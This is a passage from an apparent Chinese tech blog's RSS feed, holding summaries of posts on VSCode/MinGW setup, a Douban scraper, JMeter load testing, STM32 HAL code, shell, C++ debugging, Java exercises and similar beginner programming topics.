      <description>【VSCode的本质】 简单来说，它就是一个编辑器 。就是说，它和我们的记事本没有什么本质的区别。就是说，如果我们用记事本来去写代码，和用VScode写代码从文件的编译运行的角度来说是一样的。&#xA;所以我们才需要安装各种各样的插件，装编译器啊，配置调试文件呀等等。&#xA;【第一步】下载工具链 MinGW-W64 GCC 工具链是什么东西？它是包含了由 GNU 项目所产生的各种编程工具的集合（GNU是一种类Unix操作系统的一个项目）。而我们现阶段其实仅仅能用到里面的gcc和g++。&#xA;记一下路径，为了待会要配置环境变量用。&#xA;注意！！！上面的路径不可以有中文，同理，下面在编写代码的时候，文件名也不要有中文出现！！！&#xA;下载链接：sourceforge.net/projects/mingw-w64/files/mingw-w64/&#xA;也可以通过下载那个Installer，借助安装助手来安装也可。&#xA;由于官方下载有可能会慢,这里有百度云盘的下载地址。&#xA;链接：https://pan.baidu.com/s/1Cu3vU2P28vN4ZCGvNlhBUw&#xA;提取码：qylh&#xA;下载完成后解压。&#xA;配置环境变量 找到这个文件夹内的一个叫bin的文件夹：&#xA;把它的地址复制一下，找到此电脑（或者我的电脑）——&amp;gt;右键——&amp;gt;属性&#xA;打开高级系统设置，找到环境变量，单击打开，然后在环境变量中的系统变量中，找到Path变量，打开之后将刚刚复制的地址添加进去。&#xA;测试环境配置是否成功 win+R快捷键打开运行窗口，在里面输入cmd，回车打开cmd.exe&#xA;gcc -v -E -x c++ -&#xA;如果运行结果像下方图片中这样，就配置成功了。&#xA;安装VScode插件 我们打开VScode，点开旁边的扩展栏，在里面搜索并下载：&#xA;C/C++智能提示。主要用于代码补全、代码调试等。操作方法同理，先输入C/C++，然后Install。&#xA;Code Runner : 让你自动编译运行的。（当然你不装的话也可以手动编译运行）&#xA;下载好以后，【重启vscode】 文件编辑、配置 首先【在电脑的某个地方首先创建一个新的文件夹】。然后点击VScode里面的文件（如下图），然后选择【打开文件夹】-&amp;gt;【选中想要的文件夹】-&amp;gt;【是，我信任…】，然后就可以创建一个新的文件，创建文件，编写代码了。&#xA;-&amp;gt;假如我们新创建一个文件，叫【1.c】&#xA;我们按【ctrl】+【shift】+【P】，【找到C/C++编辑配置】&#xA;把下面的编译器路径和智能提示模式换掉&#xA;我们用gcc（C语言）或者g++（C++）所以，我们将其改成我们刚刚的工具链所在的地方。&#xA;如果是C语言，那就是gcc，如果是C++，那就是g++。&#xA;配置完之后，我们可以看到，C/C++扩展就自动为我们生成了一个文件：c_cpp_properties.json文件&#xA;我们打开【终端】-【配置任务】配置一下tasks.json文件&#xA;注意的是：一定要回到1.c这个.c源文件当中来，才能进行配置。&#xA;点击之后，我们就可以看到又多出来了一个tasks.json文件&#xA;然后我们就可以编写代码保存运行了。不过要强调的是，一定要保存，一定要保存，一定要保存！！！VScode不是VS，也不是devc++，它只是一款编辑器，它不会帮你自动保存。&#xA;保存完以后就可以运行啦~&#xA;测试 #include&amp;lt;stdio.h&amp;gt; int main(){ printf(&#34;12aa&#34;); printf(&#34;时间&#34;); return 0; } 调试功能的配置 配一下launch.json文件&#xA;选择【运行】-&amp;gt;【添加配置】&#xA;然后选择第一个&#xA;如果出现这个就选择默认的（如果你是第二次进行调试它应该是不会出现的）（不出现就不管它）&#xA;点右下角或点击【运行】-&amp;gt;【添加配置】&#xA;选择gdb启动，根据提示修改&#xA;{ // 使用 IntelliSense 了解相关属性。 // 悬停以查看现有属性的描述。 // 欲了解更多信息，请访问: https://go.</description>
    </item>
    <item>
      <title>python爬取豆瓣TOP100电影</title>
      <link>https://bchobby.github.io/posts/b8c1d73ef9f854f16deb6bb4b4a2f6bd/</link>
      <pubDate>Wed, 04 Jan 2023 19:34:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b8c1d73ef9f854f16deb6bb4b4a2f6bd/</guid>
      <description>如果你想爬取豆瓣TOP100电影，你可以使用Python的第三方库来帮助你爬取网页信息。&#xA;你可以使用Python的requests库来发送HTTP请求并获取网页的内容，再使用Python的Beautiful Soup库来解析网页并提取你想要的信息。&#xA;下面是一个简单的例子，它爬取了豆瓣TOP100电影的电影名和评分：&#xA;import requestsfrom bs4 import BeautifulSoup # 发送HTTP请求并获取网页内容 url = &#39;https://movie.douban.com/chart&#39; response = requests.get(url) html = response.text # 使用Beautiful Soup解析网页并提取信息 soup = BeautifulSoup(html, &#39;html.parser&#39;) movies = soup.find_all(class_=&#39;pl2&#39;) for movie in movies: title = movie.find(&#39;a&#39;)[&#39;title&#39;] rating = movie.find(class_=&#39;rating_nums&#39;).text print(title, rating) 在这个例子中，我们使用了requests库发送HTTP请求并获取了网页的内容，然后使用Beautiful Soup解析网页并提取了我们想要的信息。&#xA;希望这个例子对你有帮助！</description>
    </item>
    <item>
      <title>利用Jmeter进行压力测试（基础版）</title>
      <link>https://bchobby.github.io/posts/df348b27efe8defd4fcc7cbc01192537/</link>
      <pubDate>Wed, 04 Jan 2023 17:23:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/df348b27efe8defd4fcc7cbc01192537/</guid>
      <description>安装Jmeter 下载地址&#xA;下载完成后直接解压即可：&#xA;环境变量 新增JMETER_HOME环境变量，变量值为JMeter解压的路径&#xA;打开电脑的系统高级设置-点击环境变量-CLASSPATH变量，加上&#xA;%JMETER_HOME%\lib\ext\ApacheJMeter_core.jar;%JMETER_HOME%\lib\jorphan.jar;%JMETER_HOME%\lib\logkit-2.0.jar;&#xA;完成以上操作后，进入JMeter的bin目录，双击jmeter.bat文件即可打开JMeter。&#xA;记得修改jmeter安装路径bin文件夹下的jmeter.bat文件，找到以下文字：&#xA;if not defined HEAP ( rem See the unix startup file for the rationale of the following parameters, rem including some tuning recommendations set HEAP=-Xms1g –Xmx1g -XX:MaxMetaspaceSize=256m ) 将其修改为：set HEAP=-Xms1g –Xmx2g -XX:MaxMetaspaceSize=512m&#xA;或set HEAP=-Xms1024m –Xmx1024m -XX:MaxMetaspaceSize=512m&#xA;该修改目的是为了防止内存溢出，视情况而定。&#xA;修改后启动Jmeter，进行以下配置进行压力测试。&#xA;压力测试 一、新建测试计划（Test Plan） Jmeter启动后会显示Test Plan，也就是测试计划，可以根据自己的测试计划名进行修改，中文英文都可以，我这里命名为reportartist，如下图：&#xA;二、新增线程组（Threads Group） Number of Threads（users）：线程数量，即为虚拟用户数，一个虚拟用户占用一个进程或线程。Ramp-up period（seconds）：启动时间/准备时长，以秒为单位，即虚拟用户数在多少时间内全部启动。Loop Count：循环次数，每个线程发送请求的次数。如果线程数为20 ，循环次数为100 ，那么每个线程发送100次请求。总请求数为20*100=2000 。如果勾选了“永远”，那么所有线程会一直发送请求，一到选择停止运行脚本。 右击测试计划（reportartist）——Add——Threads(Users)——Threads Group，命名为API Test，&#xA;三、添加Http请求（Http Request） 右击线程组（API Test）——Add——Sampler——Http Request，命名为Login API</description>
    </item>
    <item>
      <title>录屏怎么录，试试这三个电脑录屏方法</title>
      <link>https://bchobby.github.io/posts/6b1bda2bcaabda4c06367b805333691e/</link>
      <pubDate>Wed, 04 Jan 2023 15:03:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6b1bda2bcaabda4c06367b805333691e/</guid>
      <description>录屏是当前最常用的功能，它可以帮助我们将喜爱的视频片段、线上会议，网络课程以及不能被下载的视频都给录制下来。电脑录屏怎么录？我们可以用电脑自带的录屏工具，或者使用第三方专业的电脑录屏软件来录制。&#xA;下面小编就给大家分享3个简单操作的电脑录屏方法。&#xA;电脑录屏方法一：QQ录屏 相信大部分人的电脑上都有安装QQ，如果对录屏的需求不高的话，可以直接使用QQ自带的【屏幕录制】功能来录制，或者是使用QQ电脑录屏快捷键ctrl+alt+a来录制视频。QQ具体录屏操作如下图所示：&#xA;步骤1：在电脑上登录QQ后，打开与好友的聊天窗口；&#xA;步骤2：然后在聊天窗口界面，点击“剪刀”图标，并在列表中选择“屏幕录制”，进入到电脑录屏界面；&#xA;步骤3：进入到电脑录屏界面，根据录制实际情况选择录屏区域。然后，点击“开始录制”按钮，即可开始录屏。&#xA;电脑录屏方法二：电脑自带录屏功能 有部分朋友还不知道电脑自带录屏怎么使用，本次以win10电脑系统为例，为大家演示一次录屏。在录制视频前，需要确认Xbox Game Bar该功能已开启；此外，还要特别注意的是该录屏功能不支持录制电脑桌面，只能够单独录制某个窗口。&#xA;步骤1：打开Windows【游戏】设置后，如下图所示将【Xbox Game Bar】电脑录屏功能开启；&#xA;步骤2：在电脑上输入【Win＋G】进入到电脑录屏界面，点击白色【录制】按钮，即可电脑录屏；&#xA;电脑录屏方法三：专业录屏软件 除了上述2个方法外，今天小编给大家分享一款刚上线不久的专业录屏软件。这款软件功能十分齐全，可以支持不同的格式输出WMV、MP4、MoV、F4V、MPEG-TS、WebM、GIF。在录制视频方面，软件支持在视频中添加文字、添加画笔等工具，并有视频初剪辑、合并、压缩等后期功能。以下就是这款录屏软件试用版的基本录屏操作，其他录屏模式录制方法也差不多；&#xA;步骤1：从网页上获取软件安装链接，可以根据个人需求将软件自定义安装在其他磁盘里；然后，点击【立即安装】。&#xA;备注：软件分Windows和Mac版本，会根据电脑适配相对应的安装链接。不推荐将软件安装在C盘。&#xA;步骤2：在软件主界面点击顶部【三】图标，并在列表中点击【设置】；如下图所示，在【设置】中可以调整录制视频画面的清晰度与帧率。还可以调整视频输出的位置、格式、鼠标、音频等参数。&#xA;步骤3：在【视频录制】模式界面，调整【录制区域】、【扬声器】、【麦克风】以及【摄像头】，如果没有录制声源以及人像的需求可以将它们全部关闭。然后，点击【REC】即可录屏。&#xA;备注：电脑如何录屏幕视频和声音？可以根据自身录制需求在【录屏区域】选择全屏录制或者区域录制；如果你想录制电脑内部声源，可以将【扬声器】开启，再者确认【麦克风】是否是关闭状态；如果您想录制电脑外界声音，可以将【麦克风】开启，并检查【扬声器】是否是关闭状态。&#xA;步骤4：停止录屏后，将会自动弹出【预览窗口】。在【预览窗口】查看视频无误后，可以点击【完成】。软件将会为您自动保存在【历史记录】中，不用担心录屏内容会丢失；此外，如果您有视频后期处理的需求，可以在【历史记录】上使用【媒体工具】对视频进行剪辑、合并、压缩、转换等后期处理。&#xA;以上就是小编给大家分享三个简单操作的电脑录屏方法啦！电脑录屏怎么录，上述三个电脑录屏方法都能够满足大家对日常录屏需求。如果对视频的清晰度有需求的话，推荐使用这款录屏软件，该软件支持录制无损的视频画质。</description>
    </item>
    <item>
      <title>UEFI 基础教程 （零） - 目录</title>
      <link>https://bchobby.github.io/posts/b44d7c530526bc4e429256fc56ec23e3/</link>
      <pubDate>Wed, 04 Jan 2023 13:09:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b44d7c530526bc4e429256fc56ec23e3/</guid>
      <description>GitHub 主页&#xA;UEFI 基础教程 （一） — 搭建UEFI开发环境&#xA;UEFI 基础教程 （二）　— 运行第一个APP HelloWorld&#xA;UEFI 基础教程 （三） — 运行第一个PEI Driver&#xA;UEFI 基础教程 （四）　—　运行第一个DXE Driver&#xA;UEFI 基础教程 （五）　— PPI 初探&#xA;UEFI 基础教程 （六）　— PROTOCOL 简单使用&#xA;UEFI 基础教程 （七） — HOB 简单使用&#xA;UEFI 基础教程 （八）　— PCD 简单使用&#xA;UEFI 基础教程 （九） —　EVENT 简单使用&#xA;UEFI 基础教程 （十） — FileIO 简单使用&#xA;UEFI 基础教程 （十一） — Shell下读取SMBIOS信息&#xA;UEFI 基础教程 （十二）　— 使用标准C库</description>
    </item>
    <item>
      <title>win10卸载AVG AntiVirus Free</title>
      <link>https://bchobby.github.io/posts/c2038cc98e9bacc6cf7524fa941edd45/</link>
      <pubDate>Wed, 04 Jan 2023 10:28:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c2038cc98e9bacc6cf7524fa941edd45/</guid>
      <description>打开电脑发现多了一个名为“AVG AntiVirus Free”的软件&#xA;上网一查发现是个杀毒软件，但是我电脑上本地就有一个而且够用&#xA;准备卸载，但是网上说的各种！各种方法，目前都没有一个可以卸载的&#xA;下面的方法，最起码我是可以卸载，而且不用安装任何软件&#xA;1.打开AVG AntiVirus Free，找到设置，然后点击【故障排除】，把自我防护给关闭了，然后再把设置里所有能关的都关了&#xA;2.打开控制面板，选择程序，卸载程序，然后找到AVG点击卸载&#xA;3.然后会弹出来一个框，一定要看准卸载的字样，然后卸载，下图就是已经卸载完毕了，但是本地还有一些残留文件，重启电脑之后本地就没有这些残留文件了</description>
    </item>
    <item>
      <title>基于ssm的社团报名管理系统开题答辩问题与答案</title>
      <link>https://bchobby.github.io/posts/f376104a9b9a8728205a030f00c6dbd6/</link>
      <pubDate>Wed, 04 Jan 2023 10:13:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f376104a9b9a8728205a030f00c6dbd6/</guid>
      <description> 在社团报名管理系统的开题答辩中，可能会涉及到以下几个方面的问题与答案：&#xA;系统背景与目标：为什么要开发这个系统，它的目标是什么？系统功能与设计：系统实现了哪些功能，如何设计这些功能？系统架构与技术：系统采用了哪些技术和框架，它们之间是如何协作的？系统实现细节：在具体实现过程中，遇到了哪些困难或挑战，是如何解决的？系统测试与调试：系统经过了哪些测试，发现了哪些问题，是如何调试的？系统总结与展望：对于系统的设计和实现，有哪些值得称道的地方，还有哪些可以改进的地方？ </description>
    </item>
    <item>
      <title>java如何使用正则表达式替换所有前端标签</title>
      <link>https://bchobby.github.io/posts/6b1bc77c3832de3dc9e5dbae613a1310/</link>
      <pubDate>Wed, 04 Jan 2023 09:49:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6b1bc77c3832de3dc9e5dbae613a1310/</guid>
      <description>Java使用正则表达式替换所有前端标签的方法如下：&#xA;首先，要使用正则表达式替换字符串，需要使用Java的java.util.regex包。&#xA;然后，需要创建一个Pattern对象，该对象表示要匹配的正则表达式模式。例如，如果要匹配所有前端标签(如&amp;lt;div&amp;gt;、&amp;lt;p&amp;gt;等)，可以使用以下代码创建Pattern对象：&#xA;Pattern p= Pattern.compile(&#34;&amp;lt;[^&amp;gt;]+&amp;gt;&#34;); 接下来，可以使用Matcher类的replaceAll方法来替换所有匹配的前端标签。例如，如果要将所有前端标签替换为空字符串，可以使用以下代码：&#xA;String input= &#34;这是一个&amp;lt;div&amp;gt;测试字符串&amp;lt;/div&amp;gt;，其中包含了多个前端标签。&#34;; Matcher m = p.matcher(input); String output = m.replaceAll(&#34;&#34;); 最后，输出的output字符串就是所有前端标签都被替换为空字符串的字符串了。&#xA;注意：如果想要替换成其他的字符串，可以将空字符串替换为所需的字符串即可。&#xA;希望这些信息能帮到你！</description>
    </item>
    <item>
      <title>Leaflet使用wfs的示例</title>
      <link>https://bchobby.github.io/posts/8fd7f053bd602286e3f5471ab206332c/</link>
      <pubDate>Wed, 04 Jan 2023 08:33:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8fd7f053bd602286e3f5471ab206332c/</guid>
      <description>Leaflet是一个开源的Web地图库，可以用来在网站上显示地图。可以使用Leaflet的功能扩展&#34;Leaflet.WFS&#34;来在Leaflet地图中使用WFS(Web Feature Service)功能。&#xA;以下是使用Leaflet和Leaflet.WFS显示WFS图层的示例代码：&#xA;// 创建Leaflet地图 var map = L.map(&#39;map&#39;).setView([51.505, -0.09], 13); // 加载瓦片图层 L.tileLayer(&#39;https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png&#39;, { attribution: &#39;Map data © &amp;lt;a href=&#34;https://openstreetmap.org&#34;&amp;gt;OpenStreetMap&amp;lt;/a&amp;gt; contributors&#39;, maxZoom: 18 }).addTo(map); // 加载WFS图层 var wfsLayer = L.wfs(&#34;http://example.com/geoserver/wfs&#34;, { typename: &#34;my_layer&#34;, version: &#34;1.1.0&#34;, maxFeatures: 1000, crs: L.CRS.EPSG4326, geometryField: &#34;geom&#34;, style: { color: &#34;#ff7800&#34;, weight: 1, fillColor: &#34;#ff7800&#34;, fillOpacity: 0.5 } }); wfsLayer.addTo(map); 在上面的代码中，我们首先使用L.map函数创建了一个Leaflet地图，然后使用L.tileLayer函数加载瓦片图层。接着使用L.wfs函数加载WFS图层，并指定WFS服务的URL、图层名称、版本、最大要素数、坐标参考系以及几何字段。最后，使用addTo函数将WFS图层添加到地图上。</description>
    </item>
    <item>
      <title>zookeeper看这一篇就够了</title>
      <link>https://bchobby.github.io/posts/caac3074af535b24c430f744cae0ab1b/</link>
      <pubDate>Wed, 04 Jan 2023 07:59:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/caac3074af535b24c430f744cae0ab1b/</guid>
      <description>第一章 zookeeper简介 第1节 zookeeper的由来 1 2 3 4 1. zookeeper最早起源于雅虎研究院的一个研究小组 2. 在雅虎内部很多大型系统基本都需要依赖一个类似的系统来进行分布式协调,并且这个系统还有单点问题 3. 雅虎的开发人员就试图开发一个通用的无单点问题的分布式协调框架,以便让开发人员将精力集中在处理业务逻辑上,这是最早zookeeper的原型 4. 后来捐献给了apache成为了apache的顶级项目 第2节 zookeeper名字的由来 1 雅虎研究院很多项目都以动物命名,而zookeeper做为各个项目之间的协调,就起了一个动物管理员的名字(zookeeper),简称zk 第3节 zk应用场景 1 2 3 4 5 1. 注册中心(Dubbo框架介绍) 2. 配置中心 3. 分布式锁(本文不做讲解) ... 第二章 zk的下载 1 2 3 这里以3.4.9版本为例,下面是下载地址,下载zookeeper-3.4.9.tar.gz压缩包(在Windows/Linux/Mac下通用) https://archive.apache.org/dist/zookeeper/zookeeper-3.4.9/ 第三章 zk的单点安装 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 1.</description>
    </item>
    <item>
      <title>告诉我怎么解决这个问题：输入：sudo ./yolov5 -s ../last.wts ../best.engine s 报错：sudo: ./yolov5：找不到命令...</title>
      <link>https://bchobby.github.io/posts/f820dc7866206eb28cac1c47fdf0307f/</link>
      <pubDate>Wed, 04 Jan 2023 00:08:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f820dc7866206eb28cac1c47fdf0307f/</guid>
      <description>这个问题的原因可能是你没有安装 yolov5，或者是你没有指定正确的安装路径。&#xA;要解决这个问题，你需要检查 yolov5 是否已经正确安装，并确保你在执行命令时使用了正确的路径。&#xA;如果 yolov5 还没有安装，你需要按照 yolov5 的安装说明进行安装。&#xA;另外，在执行命令时，如果遇到 “找不到命令” 的错误，还可能是因为系统没有找到相应的可执行文件。在这种情况下，你可以尝试使用绝对路径来指定可执行文件的位置，例如 “/usr/local/yolov5/yolov5”。</description>
    </item>
    <item>
      <title>STM32&#43;HAL库驱动GPIO点亮LED</title>
      <link>https://bchobby.github.io/posts/d3c33bf8a1d5c95713cc31fd78996361/</link>
      <pubDate>Tue, 03 Jan 2023 22:48:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d3c33bf8a1d5c95713cc31fd78996361/</guid>
      <description>【GPIO理论部分可参考：【小趴菜STM32开发笔记1】---- GPIO】 目录&#xA;1 新建cubemx工程&#xA;2 配置系统时钟&#xA;3 配置LED引脚&#xA;4 生成代码&#xA;5 进入Keil,补充代码&#xA;5.1 点亮LED&#xA;5.2 闪烁灯&#xA;【keil小技巧】----自动复位&#xA;1 新建cubemx工程 ​&#xA;​ 2 配置系统时钟 ​&#xA;3 配置LED引脚 通过查阅开发板原理图，可知PA5引脚控制LED，cubemx将PA5配置为GPIO_Output模式&#xA;​&#xA;​&#xA;4 生成代码 ​&#xA;​&#xA;​&#xA;5 进入Keil,补充代码 5.1 点亮LED int main(void) { /* USER CODE BEGIN 1 */ /* USER CODE END 1 */ /* MCU Configuration--------------------------------------------------------*/ /* Reset of all peripherals, Initializes the Flash interface and the Systick. */ HAL_Init(); /* USER CODE BEGIN Init */ /* USER CODE END Init */ /* Configure the system clock */ SystemClock_Config(); /* USER CODE BEGIN SysInit */ /* USER CODE END SysInit */ /* Initialize all configured peripherals */ MX_GPIO_Init(); /* USER CODE BEGIN 2 */ HAL_GPIO_WritePin(GPIOA,GPIO_PIN_5,GPIO_PIN_SET); //拉高PA5管脚，灯亮 /* USER CODE END 2 */ /* Infinite loop */ /* USER CODE BEGIN WHILE */ while (1) { /* USER CODE END WHILE */ /* USER CODE BEGIN 3 */ } /* USER CODE END 3 */ } 实验效果：</description>
    </item>
    <item>
      <title>STM32&#43;HAL库调试printf串口打印</title>
      <link>https://bchobby.github.io/posts/9f2433074be4f564ee79df36046fd356/</link>
      <pubDate>Tue, 03 Jan 2023 22:46:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9f2433074be4f564ee79df36046fd356/</guid>
      <description>目录&#xA;1 新建cubemx工程 2 配置系统时钟&#xA;3 配置串口引脚&#xA;4 生成keil工程&#xA;5 补充代码&#xA;5.1 重定向printf&#xA;5.2 main函数&#xA;6 编译烧录&#xA;7 实验现象&#xA;1 新建cubemx工程 选择对应芯片&#xA;2 配置系统时钟 主频为64MHz&#xA;对应给到usart2的时钟也为64MHz 3 配置串口引脚 查阅原理图，可知usart2引脚连接了USB串口&#xA;4 生成keil工程 5 补充代码 5.1 重定向printf 首先介绍一下printf和scanf：&#xA;printf 函数根据 format 字符串给出的格式打印输出到 stdout（标准输出）中，当然，printf 函数是不会一个字符一个字符去输出，它会调用更底层的 I/O 函数：fputc去逐个字符打印。&#xA;printf 和fputc都定义在 &amp;lt;stdio.h&amp;gt; 头文件中：&#xA;//fputc函数原型 int fputc(int ch, FILE *stream); //printf函数原型 int printf(const char *format, ...); fputc 函数写入字符 ch 到给定输出流 stream，printf函数在调用该函数时，会向stream参数传入stdout从而打印数据到标准输出。 那么，要实现printf打印到串口就变得非常简单了，只需要重新定义fputc函数，在fputc的函数中将数据通过串口发送，称之为：fputc重定向或者printf重定向。同理，只需要重新定义fgetc函数，在scanf的函数中将数据通过串口接收，称之为：scanf重定向。&#xA;在usart.c文件中添加重定向函数（且记得在usart.h中添加头文件和声明）：&#xA;#include &#34;stdio.h&#34; //重定向scanf int fgetc(FILE *f) { uint8_t ch=0; HAL_UART_Receive(&amp;amp;huart2,&amp;amp;ch,1,0xffff); return ch; } //重定向printf int fputc(int ch,FILE *f) { uint8_t temp[1]={ch}; HAL_UART_Transmit(&amp;amp;huart2,temp,1,2); return ch; } 5.</description>
    </item>
    <item>
      <title>STM32&#43;HAL库使用ADC轮询模式采集音频信号</title>
      <link>https://bchobby.github.io/posts/8ba2cc9a305f3e85aac3cad56a4363ba/</link>
      <pubDate>Tue, 03 Jan 2023 22:45:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8ba2cc9a305f3e85aac3cad56a4363ba/</guid>
      <description>ADC模块：咪头声音采集模块&#xA;ADC轮询模式 缺点：占用CPU的使用率&#xA;软件开始ADC转换后，一直等到转换完成后，才向后执行，这个代码在初始化ADC之后执行一次校准（不执行这一步也可以，但精度可能会低一些）；然后就可以使用ADC轮询转换了，只需要三步：启动转换、等待转换完成、读取转换数据，即可完成一次ADC转换。 1 开启外部高速时钟&#xA;2 配置时钟树&#xA;3 USART配置&#xA;4 ADC配置&#xA;5 代码配置&#xA;//串口重定向 #include &#34;stdio.h&#34; int fgetc(FILE *f) { uint8_t ch=0; HAL_UART_Receive(&amp;amp;huart2,&amp;amp;ch,1,0xffff); return ch; } int fputc(int ch,FILE *f) { uint8_t temp[1]={ch}; HAL_UART_Transmit(&amp;amp;huart2,temp,1,2); return ch; } /* USER CODE BEGIN Header */ /** ****************************************************************************** * @file : main.c * @brief : Main program body ****************************************************************************** * @attention * * Copyright (c) 2022 STMicroelectronics. * All rights reserved. * * This software is licensed under terms that can be found in the LICENSE file * in the root directory of this software component.</description>
    </item>
    <item>
      <title>shell获取函数返回值</title>
      <link>https://bchobby.github.io/posts/64793f2cf954318fe25e57c88a3dd4bc/</link>
      <pubDate>Tue, 03 Jan 2023 20:14:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/64793f2cf954318fe25e57c88a3dd4bc/</guid>
      <description> 1.使用return返回结果&#xA;#/bin/bash function test(){ return &#34;123&#34; } test echo $? 注意：&#xA;1.必须使用$?获取函数返回值，如果修改为&#xA;tmp=`test` 则无法获取返回值&#xA;2.返回值必须为整型，如果修改为浮点数或者字符串，则会报错numeric argument required&#xA;2.使用echo&#xA;通过输出到标准输出返回,因为子进程会继承父进程的标准输出，因此，子进程的输出也就直接反应到父进程,而且返回值不受只能是整型的限制&#xA;#/bin/bash function test(){ echo &#34;123.12&#34; } kk=$(test) echo $kk </description>
    </item>
    <item>
      <title>在Altium Designer 2022中创建一个完整的PCB电子设计工程项目（超详细）</title>
      <link>https://bchobby.github.io/posts/a7704815a39a3c0a5eeac37e87752eb3/</link>
      <pubDate>Tue, 03 Jan 2023 19:50:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a7704815a39a3c0a5eeac37e87752eb3/</guid>
      <description>【Altium Designer】学习笔记第二篇——创建一个完整的PCB电子设计工程项目 一、概述 1、一个完整的PCB设计文件共包含五部分：原件库文件，原理库文件（包含网络表文件），PCB库文件，PCB文件，生产文件。如下图所示：&#xA;2、打开一个工程时，点击项目中后缀为PrjPcb的文件，打开其他的文件，无法打开整个项目工程，会出现一个Free Document的游离工程。&#xA;在此情况下，无法对工程进行修改。&#xA;二、创建步骤 1、首先，双击桌面图标，打开Altium Designer 2022软件（注：如果不会安装或没有安装包，请看上一篇文章）&#xA;2、打开软件后，在左上方依次点击“文件”-“新的...”-“项目”。&#xA;3、在弹出的对话框中，修改项目名称和保存路径，点击“create”即可。&#xA;4、刚创建的项目是这样的，项目下是空白的。&#xA;5、依次添加四个关键文件：第一个：原理图库。&#xA;依次点击“文件”-“新的...”-“库”-“原理图库”&#xA;注：如果创建文件后，找不到项目文件了，那就在最下方找到“Projects”单击即可，下面几个也是这样。&#xA;6、第二个：原理图&#xA;依次点击“文件”-“新的...”-“原理图”&#xA;7、第三个：PCB元件库&#xA;依次点击“文件”-“新的...”-“库”-“PCB元件库”&#xA;8、第四个：PCB&#xA;依次点击“文件”-“新的...”-“PCB”&#xA;9、然后依次保存，右击要保存的文件，点击保存，弹出的对话框的地址默认为项目文件下，无需更改，只需要更改要保存文件的名称即可。&#xA;10、同样的步骤，依次保存，四个新创建的文件即可。（比如我，全保存成了demo2）&#xA;11、此时，工程应该后面还是红色的文件形式，即为未保存，同理，右击工程，点击保存即可。&#xA;12、至此，一个简单而完整的PCB电子设计工程创建完毕。</description>
    </item>
    <item>
      <title>c&#43;&#43;条件断点设置string比较</title>
      <link>https://bchobby.github.io/posts/f17104a521d7e1b974620a068d62e2b4/</link>
      <pubDate>Tue, 03 Jan 2023 18:08:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f17104a521d7e1b974620a068d62e2b4/</guid>
      <description>无效情况说明 c++不支持条件断点直接判断std::string为某值：str==&#34;123&#34;。&#xA;但是支持一些符号的调用：&#xA;“Visual Studio中的添加断点功能中支持的字符串函数有：strlen, wcslen, strnlen, wcsnlen, strcmp, wcscmp, _stricmp, _wcsicmp, strncmp, wcsncmp, _strnicmp, _wcsnicmp, strchr, wcschr, strstr, wcsstr.”&#xA;但是，也不能用这样的条件：strcmp(str.c_str(), &#34;123&#34;) == 0。会提示函数调用（c_str()）会有副作用，所以不计算值。但是str.size() == 5这样的条件可以，难道因为size()直接返回值吗？&#xA;有效方法 调查了一下，只能通过访问成员的方式进行比较。可以通过watch窗口查看string有什么成员：&#xA;输入“str,!”，逐级查看：&#xA;在条件断点中输入以下一个条件（按需领取）：&#xA;(newString._Mypair._Myval2._Myres &amp;lt; 16) ? strcmp(newString._Mypair._Myval2._Bx._Buf, &#34;short&#34;) == 0 : false (newString._Mypair._Myval2._Myres &amp;lt; 16) ? false : strcmp(newString._Mypair._Myval2._Bx._Ptr, &#34;My_test_str_value_longer_than_16_chars&#34;) == 0 (newString._Mypair._Myval2._Myres &amp;lt; 16) ? strcmp(newString._Mypair._Myval2._Bx._Buf, &#34;My_test_string&#34;) == 0 : strcmp(newString._Mypair._Myval2._Bx._Ptr, &#34;My_test_string&#34;) == 0 (newString._Mypair._Myval2._Myres &amp;lt; 16) ? wcscmp(newString._Mypair._Myval2._Bx._Buf, L&#34;short&#34;) == 0 : false (newString.</description>
    </item>
    <item>
      <title>（day2）自学java综合练习</title>
      <link>https://bchobby.github.io/posts/311248b67fbfc0308a086d296f242bd7/</link>
      <pubDate>Tue, 03 Jan 2023 17:57:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/311248b67fbfc0308a086d296f242bd7/</guid>
      <description>目录&#xA;1.卖飞机票&#xA;2.找质数&#xA;3.开发验证码&#xA;4.数组元素的复制&#xA;5.评委打分&#xA;6.数字加密&#xA;7.数字解密&#xA;8.抢红包&#xA;9.模拟双色球&#xA;10.二维数组&#xA;1.卖飞机票 机票价格按照淡季旺季、头等舱和经济舱收费、输入机票原价、月份和头等舱或经济舱。按照如下规则计算机票价格：旺季（5-10月）头等舱9折，经济舱8.5折，淡季（11月到来年4月）头等舱7折，经济舱6.5折。 import java.util.Scanner; public class Test1 { public static void main(String[] args) { Scanner sc = new Scanner(System.in); System.out.print(&#34;请输入机票原价：&#34;); int ticket = sc.nextInt(); System.out.print(&#34;请输入机票月份（示例：1）：&#34;); int month = sc.nextInt(); System.out.print(&#34;头等舱请输入：1，经济舱请输入：2 ：&#34;); int planeSeat = sc.nextInt(); if (month &amp;gt;= 5 &amp;amp;&amp;amp; month &amp;lt;= 10) { if (planeSeat == 1) { ticket = (int) (ticket * 0.9); } else if (planeSeat == 2) { ticket = (int) (ticket * 0.</description>
    </item>
    <item>
      <title>Centos7 查看自启动列表systemctl list-unit-files以及设置服务自启动</title>
      <link>https://bchobby.github.io/posts/6d8bed20f66272968d21c08c22fb0829/</link>
      <pubDate>Tue, 03 Jan 2023 17:02:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6d8bed20f66272968d21c08c22fb0829/</guid>
